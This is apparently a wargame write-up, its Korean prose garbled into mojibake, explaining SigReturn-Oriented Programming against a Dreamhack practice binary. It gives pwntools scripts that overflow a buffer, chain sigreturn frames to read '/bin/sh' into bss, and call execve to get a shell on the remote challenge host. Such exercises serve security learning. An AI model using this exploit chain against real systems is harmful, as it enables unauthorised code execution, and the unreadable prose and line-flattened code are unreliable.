SigReturn-Oriented Programming
SigReturn-Oriented Programming
์ด๊ฑด.. gadget??์ด ์๊ณ signal์ ํ์ฉํ sigreturn์ด ์กด์ฌํ๋ค์
Partial RELRO๋ก ROP ๋๋ ๋์ฃ gadget(NX ์ฐํ)ํจ์๋ฅผ ์ฌ์ฉํ์ฌ
read๋ 1024byte๋งํผ ๋ฐ๊ธฐ์ bof ์์ค์ฝ์ ํธ์ถ ๋ ์ง์คํฐ ์กฐ์ ์
ธ ํ๋์ผ๋ก ๊ฐ ์ ์์ต๋๋ค.
์ต์ค ์ค๊ณ
sigreturn ํธ์ถ
SROP๋ฅผ ํ๊ธฐ ์ํด sigreturn ์์ค์ฝ์ ํธ์ถํด์ผ์ฃ
์์ ์์ ์์ค์ฝ์ ํธ์ถํ ์ ์๋๋ก gadget ํจ์๋ฅผ ์ ๊ณตํฉ๋๋ค.
ํด๋น ํจ์ ๋ด๋ถ ์ฝ๋ ๊ฐ์ ฏ ์ฃผ์๋ฅผ ์์๋ด๊ณ
์์ค์ฝ ๋ฒํธ(sig_id?)์ syscall์ ํตํด sigreturn์ ํธ์ถํฉ๋๋ค.
execve ํธ์ถ
sigreturn์ ์คํ ์์ญ์ ๊ฐ์ ๋ ์ง์คํฐ๋ก ๋ณต์ฌํฉ๋๋ค.
๋ฐ๋ผ์ 1024 ๋ฐ์ดํธ๋ฅผ ์
๋ ฅ ์ sigcontext ๊ตฌ์กฐ์ฒด..๋ฅผ ์๊ฐํ๊ณ ,
execve ์์ค์ฝ์ ํธ์ถํ๊ธฐ ์ํ ์ธ์๋ฅผ ๋ชจ๋ ์ค์ ํฉ๋๋ค!
- user mode -> kernel mode : user hardware context๋ฅผ kernel stack์ ์ ์ฅ๋จ
- kernel mode -> user mode : user stack์ user hardware context๊ฐ ์ ์ฅ๋๋ฉฐ sigreturn syscall์ด ๋ถ๋ ค user context๋ฅผ ์ธํ → sigreturn system call์ ํตํด ๋ ์ง์คํฐ๋ฅผ ์ธํ
sigreturn ํธ์ถ
pwn์์ ์ด์ ์๋ ๋ดค์ฃ (elf.search) ํน์ ๋ฐ์ด๋๋ฆฌ์ ์ฝ๋๋ฅผ ๊ฒ์ ๊ฐ์ ธ์ต๋๋ค.
์ด๋ฅผ ํตํด ๊ฐ์ ฏ์ ์ฃผ์๋ฅผ ์์๋ด๊ณ , RAX ๋ ์ง์คํฐ์ ๊ฐ์ sigreturn ์์ค์ฝ์ ๋ฒํธ 15๋ก ์กฐ์ํฉ๋๋ค.
12345678910111213141516171819202122 # Name: srop.pyfrom pwn import *context.arch = "x86_64"p = process("./srop")elf = ELF("./srop")gadget = next(elf.search(asm("pop rax; syscall")))print(gadget)payload = "A"*16payload += "B"*8payload += p64(gadget)payload += p64(15) # sigreturnpayload += "\x00"*40 # dummypayload += p64(0x4141414141414141)*20p.sendline(payload)p.interactive()cs
execve ํธ์ถ
execve ์์ค์ฝ์ ํธ์ถํ๊ธฐ ์์, sigcontext ๊ตฌ์กฐ์ฒด์ ์ ์๋
๋ ์ง์คํฐ์ ์์๋ฅผ ๊ณ ๋ คํ์ฌ(๊ณ ๋ คํ ํ์ ์๋ค๋งค!) ์คํ์ ๊ฐ์ ์จ๋ฃ์ด์ผ ํฉ๋๋ค.
๋งค๋ฒ ๊ตฌ์กฐ์ฒด๋ฅผ ํ์ธํ๋ฉด์ ์คํ์ ๊ฐ์ ์ฝ์
ํ๋ ๊ฑด ํ๋ค์ฃ .
pwn์์๋ SROP ๊ณต๊ฒฉ์ด ์์ํ๊ฒ ํ ์ ์๋๋ก SigreturnFrame ํด๋์ค๋ฅผ ์ ๊ณตํฉ๋๋ค!
์์์ ์ดํด๋ณธ SigreturnFrame์ ์ด์ฉํด execve ์์ค์ฝ์ ํธ์ถํ๋ ์ต์ค๋ฅผ ์์ฑํด๋ด ์๋ค.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748 # Name: srop.pyfrom pwn import *context.arch = "x86_64"#p = process("./srop")p = remote('host3.dreamhack.games', 17110)elf = ELF("./srop")context.log_level = 'debug'gadget = next(elf.search(asm("pop rax; syscall")))syscall = next(elf.search(asm("syscall")))read_got = elf.got['read']_start = elf.symbols['_start']binsh = "/bin/sh\x00"bss = elf.bss()frame = SigreturnFrame()# read(0, bss, 0x1000)frame.rax = 0 # SYS_readframe.rsi = bssframe.rdx = 0x1000frame.rdi = 0frame.rip = syscallframe.rsp = bsspayload = b"A"*16payload += b"B"*8payload += p64(gadget)payload += p64(15) # sigreturnpayload += bytes(frame)p.sendline(payload)# execve("/bin/sh", 0, 0)frame2 = SigreturnFrame()frame2.rip = syscallframe2.rax = 0x3b # execveframe2.rsp = bss + 0x500frame2.rdi = bss + 0x108rop = p64(gadget)rop += p64(15)rop += bytes(frame2)rop += b"/bin/sh\x00"p.sendline(rop)p.interactive()cs
์ด ๋ถ๋ถ์ elf.search..๋ถ๋ถ์ผ๋ก ์์์ ํจ์ ๊ฐ๋จํ ํ์ผ๋ฉฐ next๋ iter์ ๊ตฌ์กฐ๊ฐ ์๊ธฐ์
์ฌ์ฉ๋๊ฒ ์ฃ ? ๋ํ _start..์ ์ ๋ฃ์ฃ ? ์์ฐ๋๋ฐ ์ธ์ผ๋ ์๋๊ฑฐ ๊ฐ๊ณ (๋๋ฒ๊น
ํ ๋ ์ฌ์ฉํ๋์?)
binsh๋ lib_base๋ ๊ตฌํ์ง ์๊ณ ๊ทธ๋ฅ ๋ฃ์์ต๋๋ค(bss์์ญ์ ๋ค์ด๊ฐ๋๊น(์ ์๋์ง ์๋ ์์ ๋ฑ)
๋ฃ๊ณ frame์ SigreturnFrame()์ด๋ผ๋ pwn ํจ์๋ฅผ ์ฌ์ฉํฉ๋๋ค.
์ ์คํ ์ฝ๋์์ ์ฐ๊ธฐ๋ฅผ ํ๋ฒ๋ฐ์ ๋ชปํ๋๊น read๋ฅผ ์ด์ฉํ์ฌ bss ์์ญ์ binsh ๋ฃ์ด์ผํด์
read์ธ์ ๋ง์ถฐ์ ์ ๋นํ ํฌ๊ธฐ๋ฅผ ๋~๊ฒ ์ก๊ณ syscall์ ๋ฃ๋ค์ bss๋ ๋ฃ์ ๋ชจ์ต
(sigcontext ๊ตฌ์กฐ์ฒด์ ๋ง๊ฒ ๋ฃ์์ต๋๋ค ๋น์ฐํ x64 arch์ ์์ค์ฝ์ ์ฌ์ฉ๋๊ธฐ์ ๋ง์ถ ๋ชจ์ต)
๊ทธ ํ payload์ buf-sfp-ret gadget์ ๋ฃ์ด ๋ณ์กฐ ํ sigreturn๊ฐ์ 15๋ก(Why?)
๊ทธ ํ frame์ ์ค์ ํ ๊ฒ์ bytesํ์ผ๋ก ๋ฃ์์ต๋๋ค.
๊ทธ ํ execve๋ก ํด๋น arch์ ๋ ์ง์คํฐ๋ฅผ ํ์ธ ํ ๋ฃ์ด์ค๋๋ค.
์ฐธ๊ณ ๋ก frame2์์ bss+0x500์ ํ ์ด์ ๋...
์ด ๋ถ๋ถ์ ์ ๊ธฐ ๊ท์ฐฎ์์ ์ด๋ ๊ฒ ์ฌ๋ฆฝ๋๋ค.
๋ํ fream2์์ read syscall์ ํธ์ถํด rsp ๋ ์ง์คํฐ๋ฅผ ์
๋ ฅํ bss ์์ญ์ ์ฃผ์๋ฅผ ๋ฐ๊ฟ
๋ค์ ํ๋ฒ ๋ฆฌํด ์ฃผ์๋ฅผ ์กฐ์ํ๋๋ก ๋ง๋ญ๋๋ค.
๋ง์ง๋ง payload๋ gadget์ ๋ฃ๊ณ ์ฐ๋ฆฌ๊ฐ ์์ ํ๋ sigreturn num๋ฅผ ์
๋ ฅํ์ฌ ํด๋น ๊ฐ์ ๊ฐ์ ธ์ต๋๋ค.
๊ทธ ํ execve(shell)์ ์
๋ ฅ bss์์ญ์ ๋ค์ด๊ฐ ๊ฐ๋ ๋ฃ์ต๋๋ค. ๊ทธ๋ผ ๋
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง